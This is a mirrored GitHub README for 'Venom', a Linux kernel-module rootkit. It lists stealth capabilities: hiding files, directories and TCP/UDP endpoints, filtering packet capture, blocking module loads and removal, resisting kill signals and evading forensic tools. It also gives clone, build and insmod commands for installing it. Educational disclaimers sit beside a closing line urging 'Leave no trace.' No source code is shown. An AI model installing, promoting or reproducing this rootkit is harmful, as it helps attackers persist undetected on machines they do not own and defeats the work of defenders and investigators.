Thanks to visit codestin.com
Credit goes to github.com

Skip to content

darkzorro79/Venom

 
 

Folders and files

NameName
Last commit message
Last commit date

Latest commit

 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 

Repository files navigation

banner

Venom

A poison that sleeps in the kernel’s veins
A Linux Kernel Module

Important

Venom — An advance loadable kernel module, strictly for educational purposes only.

Features

  • Output interception — watches kernel write paths to protect or hide tracing/logs.
  • Input interception — inspects reads to stop leaks of Venom internals.
  • Dir filtering (64-bit) — hides files/dirs from normal ls/readdir views.
  • Dir filtering (32-bit/compat) — same as above for 32-bit compatibility calls.
  • Module load control — watches/blocks module insertions to stop rivals.
  • FD-based module load — monitors modern (fd) module loads the same way.
  • Module unload protection — prevents or logs attempts to remove modules.
  • Signal control — intercepts signals to stop forced kills or meddling.
  • Device/ioctl protection — blocks/inspects ioctl probes from forensic tools.
  • TCP /proc hooks — filters /proc/net/tcp and /proc/net/tcp6 to hide endpoints.
  • UDP /proc hooks — filters /proc/net/udp and /proc/net/udp6.
  • Packet receive interception — filters raw packet capture paths (AF_PACKET/TPACKET).
  • Mount blocking — denies unwanted mounts/moves to keep things hidden.
  • FS protection hooks — hooks openat/renameat/unlinkat to guard critical files.
  • Socket logging — logs new sockets (watch outbound channels).

Installation

git clone https://github.com/Trevohack/Venom
cd Venom
make
insmod venom.ko
  • And let the venom spread
Screenshot 2025-10-05 091005

📚 Documentation

The docs folder contains the project's design and reference material. Quick links:

Browse the docs: docs

Finishing Touches

Venom is not a weapon it’s a research & educational project.

✔️ Stay Responsible
Use this content only in safe, legal environments you fully control

✔️ Contribute for Good
Pull requests that improve documentation, defensive detection notes, or historical references are welcome. Contributions must follow the spirit of responsible research no weaponized code, no operational exploits.

✔️ Respect the Ecosystem
This repo is about knowledge-sharing, not misuse. Always respect the boundaries of ethical hacking and your local laws. When in doubt, don’t run it on production systems.

References & Special Thanks


Closing note:
Spread the venom. Leave no trace. Own the silence.


About

A ring0 Loadable Kernel Module (Linux) for latest kernels 6.x

Resources

License

Contributing

Stars

Watchers

Forks

Releases

No releases published

Packages

No packages published

Languages

  • C 87.2%
  • Shell 12.5%
  • Makefile 0.3%